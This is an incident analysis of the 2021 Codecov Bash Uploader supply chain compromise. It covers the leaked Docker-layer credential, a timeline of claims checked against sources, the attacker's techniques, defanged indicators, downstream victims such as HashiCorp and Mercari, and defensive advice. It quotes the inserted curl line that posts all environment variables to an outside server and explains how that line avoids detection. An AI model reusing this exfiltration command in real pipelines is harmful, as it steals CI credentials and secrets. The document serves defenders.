Codecov Bash Uploader Compromise: 60 Days of Silent CI Credential Theft

Executive Summary

On 1 April 2021, a Codecov customer running a routine integrity check noticed that the SHA256 hash of the Bash Uploader script they had downloaded did not match the hash Codecov published on GitHub. That single observation ended a compromise that had been running since 31 January — sixty days during which a modified version of one of the most widely executed scripts in modern software development had been quietly copying the entire environment of every continuous integration job that ran it, and posting the contents to a server the attacker controlled.

Codecov's Bash Uploader is the mechanism by which code coverage reports reach the Codecov platform. It is invoked inside CI pipelines, which is precisely where organisations concentrate their most sensitive credentials: cloud access keys, deployment keys, registry tokens, signing keys, database passwords, API credentials for every third-party service a build touches. The attacker did not need to steal any of those individually. They needed one line of shell, in the right place, that ran env.

The root cause was neither sophisticated nor novel. Codecov's own post-mortem states that an HMAC key for a Google Cloud Storage service account was present in an intermediate layer of the company's public Docker image. Docker images preserve their build history layer by layer, and a secret removed in a later layer remains readable in the earlier one. The attacker extracted that credential from Codecov's self-hosted offering and used it to modify the Bash Uploader where it was stored in Google Cloud Storage. From that point every customer who downloaded the script received the modified version, served from Codecov's own infrastructure over TLS, with nothing to distinguish it from the legitimate file except a hash almost nobody checked.

The consequences propagated outward through the software supply chain rather than stopping at Codecov. HashiCorp disclosed that the GPG private key used to sign the SHA256SUM files validating its product downloads had been exposed, and rotated it. Mercari disclosed the exposure of tens of thousands of customer financial records, business partner records and employee records, and notified Japan's Personal Information Protection Commission. Twilio, Rapid7, monday.com and Confluent each confirmed impact. Reuters reported, citing investigators, that the attackers reached hundreds of restricted customer networks and made deliberate efforts to pivot into other software makers and technology service providers.

No actor was ever identified. Codecov stated it was unable to determine conclusively who carried out the event. The FBI's San Francisco field office investigated. No indictment, sanction or public attribution has followed in the years since — which distinguishes this incident from almost every comparable supply chain compromise, and makes it a useful case study in what happens when a serious intrusion simply ends without an answer.

Verification of Claims

Claim: Codecov's Bash Uploader was altered by an unauthorised party beginning 31 January 2021 and the compromise was discovered on 1 April 2021. → Verified — Stated by Codecov in its security notice and post-mortem, and repeated by CISA in its alert of 30 April 2021. Corroborated independently by Rapid7, Unit 42 and GitGuardian.

Claim: The root cause was a credential left accessible in a layer of Codecov's public Docker image. → Verified — Codecov's own root cause analysis states that an HMAC key for a Google Cloud Storage service account was present in an intermediate layer of the Docker image, and that the threat actor extracted it from the self-hosted offering, then used it to modify the Bash Uploader stored in Google Cloud Storage.

Claim: The modified script exfiltrated environment variables and git remote information to an external server. → Verified — The inserted code, published by Codecov and reproduced in Rapid7's analysis, was curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" https://<redacted>/upload/v2 || true. It captures the output of git remote -v and env and posts them to an external endpoint.

Claim: The compromise was discovered by a customer comparing the script's SHA256 hash against the value Codecov published. → Verified — Codecov's post-mortem attributes discovery to a customer performing SHASUM checking who identified a mismatch between the published and calculated hashes.

Claim: The attackers accessed hundreds of restricted customer networks. → Assessed, not confirmed — Reported by Reuters citing investigators speaking anonymously. Neither Codecov nor any named authority has published a figure, and no government body has confirmed a count. The reporting is credible and widely repeated, but it remains sourced to unnamed individuals.

Claim: 29,000 customers were affected. → Unverified — 29,000 is Codecov's stated total customer count; other reporting cites approximately 23,000 during the exposure window. Neither figure measures the number of organisations that downloaded and executed a modified uploader, which was never published. The population at risk is the subset that pulled the script during the sixty-day window, and that subset was not quantified.

Claim: The compromise went undetected for 65 days. → Unverified — Day counts of 61 and 65 appear in secondary coverage. The interval from 31 January to 1 April 2021 is sixty days. The larger figures appear to be estimates rather than calculations, and no source establishes malicious modification before 31 January.

Claim: CISA issued a Cybersecurity Advisory, a CVE was assigned, or the issue was added to the Known Exploited Vulnerabilities catalog. → Partially false — CISA published an Alert, "Codecov Releases New Detections for Supply Chain Compromise," on 30 April 2021. It summarises the incident, urges users to search for the published indicators and to re-roll potentially affected credentials, tokens and keys, and recommends revoking and reissuing affected certificates. It carries no advisory identifier and contains no independent CISA analysis. No CVE was assigned to the compromise, and no Codecov entry appears in the KEV catalog, because the incident was an unauthorised modification of a hosted artefact rather than a software vulnerability.

Claim: The threat actor has been identified. → False — Codecov has stated it was unable to determine conclusively who carried out the event. No vendor has published an attribution to a named group, no government has issued one, and no charges have been brought.

Timeline

Attack Anatomy

Initial Access — A Secret in a Docker Layer

The entry point was a build artefact, not a running system. Codecov distributed a public Docker image for its self-hosted offering. Within an intermediate layer of that image sat an HMAC key belonging to a Google Cloud Storage service account.

This is a well-understood failure mode with a counterintuitive property: deleting a secret in a later layer does not remove it. A Docker image is a stack of filesystem diffs, each preserved and independently readable. A RUN step that copies a credential in, uses it, and deletes it leaves that credential permanently readable in the layer where it was added, no matter what the final filesystem looks like. Anyone who can pull the image can extract it.

Codecov's post-mortem confirms the attacker extracted the credential from the self-hosted offering. No exploitation was required — the image was public by design, and the secret was inside it.

Technique mapping (this paper's assessment): T1552.001 Unsecured Credentials: Credentials In Files; T1195.002 Compromise Software Supply Chain.

Execution — Rewriting the Artefact at Its Source

The HMAC key granted write access to the Google Cloud Storage bucket serving the Bash Uploader. The attacker did not need to compromise Codecov's build systems, source repositories, or CI infrastructure. They modified the file where it was stored and served.

This is worth dwelling on, because it defeats a whole class of defensive assumptions. The script continued to be served from Codecov's legitimate domain, over valid TLS, from the URL documented in Codecov's own instructions. Every network-level and transport-level control returned a positive result. The only artefact that differed was the file's content, and the only control that would have caught it was the one nobody was performing: comparing the hash against the published value.

T1078 Valid Accounts (the credential was legitimate); T1565.001 Stored Data Manipulation.

The Payload — One Line, Well Placed

The inserted code was a single line:

curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" https://<redacted>/upload/v2 || true

Every element of it is deliberate.

$(env) dumps every environment variable in the process — in a CI job, that is the complete set of secrets injected for the build. $(git remote -v) identifies which repository the secrets belong to, turning an undifferentiated stream of credentials into an indexed one. -d posts the result as form data.

-sm 0.5 runs curl silently with a 500-millisecond maximum. Silent means no output in the build log. Half a second means no perceptible change in build duration; nobody investigates a pipeline that got imperceptibly slower.

|| true guarantees the command always reports success. If the exfiltration endpoint is unreachable, the build does not fail. The single most likely way for this to be discovered — a broken build somewhere in twenty-three thousand organisations — was engineered out.

GitGuardian's analysis places the insertion at line 525 of a script exceeding 1,800 lines. The Bash Uploader had accumulated years of accreted shell logic, which is a form of camouflage in itself: a codebase nobody reads is a codebase where nobody notices an addition.

T1059.004 Command and Scripting Interpreter: Unix Shell.

Collection — Why CI Environments Are the Ideal Target

The choice of target reflects an accurate understanding of where credentials concentrate in modern engineering organisations.

A CI job runs with the permissions needed to build, test, sign and deploy. In practice that means cloud provider access keys, container registry credentials, package registry publish tokens, code signing keys, database connection strings for test fixtures, and API keys for every service the test suite touches. These are injected as environment variables because that is what every CI platform's documentation recommends.

The credentials are also typically long-lived. Rotating a deployment key requires coordination across teams; many organisations rotate on a schedule measured in years, or on no schedule at all. Sixty days of continuous collection therefore yielded not a snapshot but a durable set of keys, most of which would remain valid long after the compromise ended.

Codecov's later guidance made the scope explicit, listing likely compromised values as including AWS IAM keys, deploy keys, API keys, service accounts, passwords and authentication tokens.

T1552.001 Unsecured Credentials; T1082 System Information Discovery.

Exfiltration — Ordinary Traffic

Data left over plain HTTP POST to attacker infrastructure. Codecov's published indicators name 178.62.86.114 and 104.248.94.23 as exfiltration destinations, with 79.135.72.34 identified as the address from which the script was modified, alongside 185.211.156.78 and addresses in the 91.194.227.0/24 range.

Outbound HTTPS from a CI runner is unremarkable — build systems fetch dependencies from dozens of hosts on every run. Egress filtering on CI infrastructure is uncommon, and where it exists it tends to be permissive by necessity.

T1567 Exfiltration Over Web Service.

Post-Exploitation — Automated Reuse

Reuters reported, citing investigators, that the attackers used automation to rapidly copy harvested credentials and use them to reach further resources, and that they made deliberate efforts to pivot into other makers of software development tools and into companies providing technology services to many customers.

That pattern is consistent with what victims disclosed. Twilio reported that an attacker cloned repositories from its GitHub organisation in mid-April, exfiltrating a small number of customer email addresses. monday.com reported unauthorised access to a read-only copy of its source code. Mercari was notified by GitHub on 23 April that its source code may have been affected, and its subsequent investigation found unauthorised repository access.

The credentials were not the objective. They were the means of reaching source code, and through source code, further credentials.

T1213 Data from Information Repositories; T1078 Valid Accounts.

Downstream — The Signing Key

HashiCorp's disclosure is the most consequential single outcome, because it reached beyond data into trust.

HCSEC-2021-12, published 22 April 2021, disclosed that a subset of HashiCorp's CI pipelines used the affected Codecov component, and that the GPG private key used to sign the SHA256SUM files validating HashiCorp product downloads had been exposed. That key, fingerprint 91A6 E7F8 5D05 C656 30BE F189 5185 2D87 348F FC4C, is the root of the verification chain for Terraform, Vault, Consul, Nomad and the rest of the product line.

An adversary holding it could sign a modified checksum file that would validate correctly for anyone following HashiCorp's documented verification procedure. The blast radius would not have been HashiCorp's — it would have been every organisation that verifies downloads properly, which is to say the most careful ones.

HashiCorp found no evidence of unauthorised use of the key, no evidence of customer data disclosure, and no evidence of malicious modification to its source code or binaries. It rotated the key regardless, published a new keypair with fingerprint C874 011F 0AB4 0511 0D02 1055 3436 5D94 72D7 468F, re-signed existing releases, and on 26 April 2021 shipped patched Terraform releases 0.11.15, 0.12.31, 0.13.7, 0.14.11 and 0.15.1 updating the automatic verification code to the new key.

Rotating a signing key with no evidence of misuse, and absorbing the cost of re-signing an entire release history, is the correct decision and an uncommon one.

Threat Actor Profile

There is no threat actor profile, and that is the finding.

Codecov stated that it was not able to determine conclusively who carried out the event. No commercial threat intelligence vendor has published an attribution to a named group. No government has issued a public attribution. No indictment has been returned, no sanctions designation names the incident, and no arrest has been reported in the years since.

What can be said is limited to behaviour observable in the intrusion itself:

The operation was patient and quiet. Access was obtained and then used carefully for sixty days. The payload was engineered specifically to avoid the failure modes that get intrusions noticed — no build breakage, no log output, no measurable latency.

The targeting was deliberate rather than opportunistic. Reuters' sources describe particular effort directed at other software development tool makers and at technology service providers with many downstream customers. That is a supply-chain-aware target selection, choosing victims for their reach rather than their own assets.

The exploitation was automated at scale. Harvesting credentials from tens of thousands of CI environments produces a volume of material that cannot be worked manually; the reported use of automation to copy credentials and pivot is consistent with tooling built for the purpose.

Sophistication and patience are frequently offered as evidence of state sponsorship. They are not, on their own, sufficient. Criminal operations targeting credentials at scale display both. In the absence of infrastructure overlap, code reuse, or intelligence reporting tying this activity to a known cluster, this paper records no attribution rather than inferring one from tradecraft.

Technical Indicators

Defanged. Published by Codecov on 29 April 2021.

Exfiltration destinations
  178.62.86[.]114
  104.248.94[.]23

Script modification origin
  79.135.72[.]34

Additional associated infrastructure
  185.211.156[.]78
  91.194.227[.]0/24

Malicious code inserted into the Bash Uploader
  curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" https://<redacted>/upload/v2 || true

  Placement: approximately line 525 of an ~1,800-line script

Affected uploaders
  Codecov-bash
  Codecov-actions uploader (GitHub Actions)
  Codecov-circleci-orb
  Codecov-bitrise-step

Detection guidance
  CI logs                outbound curl to the destinations above
  CI logs                any curl invocation carrying $(env) output
  Bash Uploader          SHA256 mismatch against the value published by Codecov
  Rapid7 InsightIDR      "Suspicious Process - Curl Passed Jenkins URL Environment Variable"
  Palo Alto NGFW         Anti-Spyware signatures 86353, 86355

Codecov also published a non-exhaustive dataset of environment variable names likely to have been compromised, and made per-organisation impact information available to customers through the product.

Legal and Regulatory Response

Government directives. CISA published an Alert, "Codecov Releases New Detections for Supply Chain Compromise," on 30 April 2021. It summarises the compromise, directs users to search for the published indicators and to check per-organisation information in Codecov, and gives particular emphasis to Codecov's guidance on re-rolling potentially affected credentials, tokens and keys, adding a recommendation to revoke and reissue potentially affected certificates. The Alert carries no advisory identifier and contains no independent CISA analysis.

No Binding Operational Directive or Emergency Directive was issued. No CVE was assigned, because the incident was an unauthorised modification of a hosted artefact rather than a defect in software. No entry relating to Codecov appears in the Known Exploited Vulnerabilities catalog.

Law enforcement. The FBI's San Francisco field office investigated, and investigators notified dozens of likely victims according to Reuters. No charges have been publicly filed, no suspect has been named, and no arrest has been reported.

Sanctions. None. No designation names this incident.

Regulatory notification. Mercari reported the incident to Japan's Personal Information Protection Commission following notification from GitHub on 23 April 2021, and published a detailed public incident report on 22 May 2021 enumerating the affected record categories and counts.

Vendor response. Codecov rotated all credentials, converted its Docker images to squashed or multistage builds so that intermediate layers no longer retain secrets, implemented monitoring and alerting on changes to its Google Cloud Storage assets, built internal key management tooling, and published indicators and per-organisation impact data. In June 2021 it retired the Bash Uploader entirely, replacing it with a NodeJS-based static binary distributed for Windows, Linux, Alpine Linux and macOS, and stated that the curl | bash distribution pattern had been "notoriously problematic from a security perspective."

The overall regulatory posture is worth stating plainly: an intrusion that reached the CI environments of tens of thousands of organisations, exposed a major vendor's release signing key, and triggered a federal investigation produced one awareness alert and no enforcement action of any kind. Substantive response came from Codecov, from individual victims disclosing voluntarily, and from commercial security vendors.

Impact Assessment

The credential blast radius is unquantifiable, and that is the point. No count of affected organisations was ever published. Codecov's customer base is variously given as 23,000 during the window and 29,000 in total; neither measures how many downloaded a modified uploader. Every organisation that ran the script during the sixty-day window had to assume total compromise of every secret present in those CI environments, because the script captured all of them indiscriminately and no per-organisation forensic record existed on the customer side.

Remediation cost fell entirely on victims. The required response — identify every credential exposed to affected pipelines, rotate each one, audit for use during and after the window — is expensive, disruptive, and scales with the size of the engineering organisation. For a company with hundreds of pipelines and long-lived cloud keys, this is weeks of work across multiple teams, all of it unbudgeted.

Trust infrastructure was directly threatened. The HashiCorp GPG key exposure moved the incident from data compromise into the integrity of software distribution itself. It was contained because HashiCorp rotated on suspicion rather than waiting for evidence of misuse.

Confirmed downstream data exposure. Mercari's disclosure quantifies real harm to individuals: 17,085 records of payout information from August 2013 to January 2014, containing bank codes, branch codes, account numbers, account holder names and transfer amounts; 217 customer service records from November 2015 to January 2018 including names, addresses, emails and phone numbers; 6 records from a May 2013 event; 7,966 business partner records including merchant owner names and business contact details; and 2,615 employee records including names, emails, employee IDs, phone numbers and dates of birth. Twilio disclosed exfiltration of a small number of customer email addresses following repository cloning. monday.com disclosed unauthorised access to a read-only copy of its source code.

Detection depended entirely on a voluntary act. No security control caught this. It was caught because one customer, of tens of thousands, chose to verify a hash they were under no obligation to check. Absent that individual, the compromise would have continued.

The comparison to SolarWinds is apt in one respect and misleading in another. Both are compromises of the software supply chain, and coverage at the time made the comparison frequently. But SolarWinds delivered a backdoor into victim networks; Codecov delivered nothing to victims at all. It took something — credentials — and the subsequent intrusions were carried out with legitimate access. The defensive implication differs accordingly: no malware to detect, no beacon to find, only authorised sessions using valid credentials.

Lessons and Defensive Recommendations

For Security Teams and SOC Analysts

Treat CI runners as production systems holding your most valuable credentials, because that is what they are. Most organisations monitor production egress and ignore build infrastructure entirely.

Alert on any process reading the full environment and making an outbound connection in the same operation. env, printenv or set piped into curl, wget, nc or a language HTTP client is a high-fidelity signal in a CI context with almost no legitimate use.

Egress filtering on build infrastructure is achievable more often than assumed. Package registries, source hosts and artefact stores are a bounded set; an allow-list is maintainable and would have blocked this exfiltration outright.

Assume credentials, not implants. There is no malware to hunt from this class of attack. The follow-on activity looks like valid authenticated sessions. Detection has to come from behavioural analysis of credential use — a deploy key authenticating from a new ASN, a service account reading repositories it has never touched.

For Developers and Platform Engineers

Verify what you execute. curl | bash places absolute trust in whatever the endpoint returns at that moment. Where a vendor publishes checksums or signatures, verify them in the pipeline and fail the build on mismatch. This entire incident was caught by one person doing this manually, and would have been prevented for anyone doing it automatically.

Never place a secret in a Docker build, even transiently. Layers are permanent and independently readable; deletion in a later layer removes nothing. Use BuildKit secret mounts, multistage builds, or runtime injection. Codecov's own remediation — moving to squashed and multistage images — is the correct pattern.

Scan published images for secrets as a release gate, not as an audit activity. The credential was in a public image for anyone to find.

Prefer short-lived, federated credentials over static keys. OIDC federation between CI platforms and cloud providers issues job-scoped credentials that expire in minutes. Under that model this attack yields tokens that are useless by the time they are used. This is the single highest-leverage change available, and the technology was available in 2021.

Scope credentials to the job. A test pipeline does not need production deployment keys. Every credential present in an environment is a credential exfiltrated by a compromise of anything running in it.

For Vendors and Platform Providers

Publish checksums and signatures for every distributed artefact, and monitor the artefact itself for unauthorised change. Codecov's own remediation added alerting on modifications to its storage assets — a control that would have detected this in minutes rather than sixty days.

Retire distribution patterns that cannot be verified. Codecov's move from a shell script fetched over the network to a signed static binary is the durable fix, and it is available to anyone still shipping an install script.

Publish indicators and a genuine root cause analysis. Codecov's post-mortem names its own error precisely, which is why this paper can describe the mechanism at all. That candour is rarer than it should be, and it is what allowed thousands of organisations to scope their own exposure.

For Leadership and CISOs

Your build pipeline is a production system with production credentials and, usually, none of the production controls. The budget and attention asymmetry between the two is the underlying condition this attack exploited.

Credential rotation capability is an operational requirement, not a policy statement. The question this incident asked every affected organisation was: can you rotate every secret in your CI environment this week? For most, the honest answer was no. That answer is worth establishing before it is tested.

Assess the tools inside your pipeline, not only the vendors on your contract list. Codecov was a code coverage reporting tool — inexpensive, unglamorous, and unlikely to appear in a third-party risk review. It also ran with access to every secret in the build.

Note what did not happen. No regulator acted, no directive compelled remediation, no prosecution followed. Organisations depending on external notification as part of their detection strategy should observe that the useful information here came from the vendor, from a handful of transparent victims, and from commercial researchers — within days — while the formal response amounted to a single awareness alert.

Sources

• Codecov — Post-Mortem / Root Cause Analysis (April 2021)
• Codecov — Bash Uploader Security Update
• CISA — Alert: Codecov Releases New Detections for Supply Chain Compromise
• Rapid7 — Analysis of the Codecov Supply Chain Compromise
• HashiCorp — HCSEC-2021-12: Codecov Security Event and HashiCorp GPG Key Exposure
• Mercari — Response to the Codecov Vulnerability and Related Notification on Personal Information Exposure
• Palo Alto Networks Unit 42 — Threat Brief: Codecov Bash Uploader
• GitGuardian — Codecov supply chain attack breakdown
• Reuters — Codecov hackers breached hundreds of restricted customer sites
• SecurityWeek — Codecov Kills Off Bash Uploader Blamed for Supply Chain Hack
• SecurityWeek — Twilio, HashiCorp Among Codecov Supply Chain Hack Victims
• BleepingComputer — Codecov hackers gained access to monday.com source code
• Sonatype — Codecov Breach: An Undetected Software Supply Chain Attack
• CyberArk — Breaking Down the Codecov Attack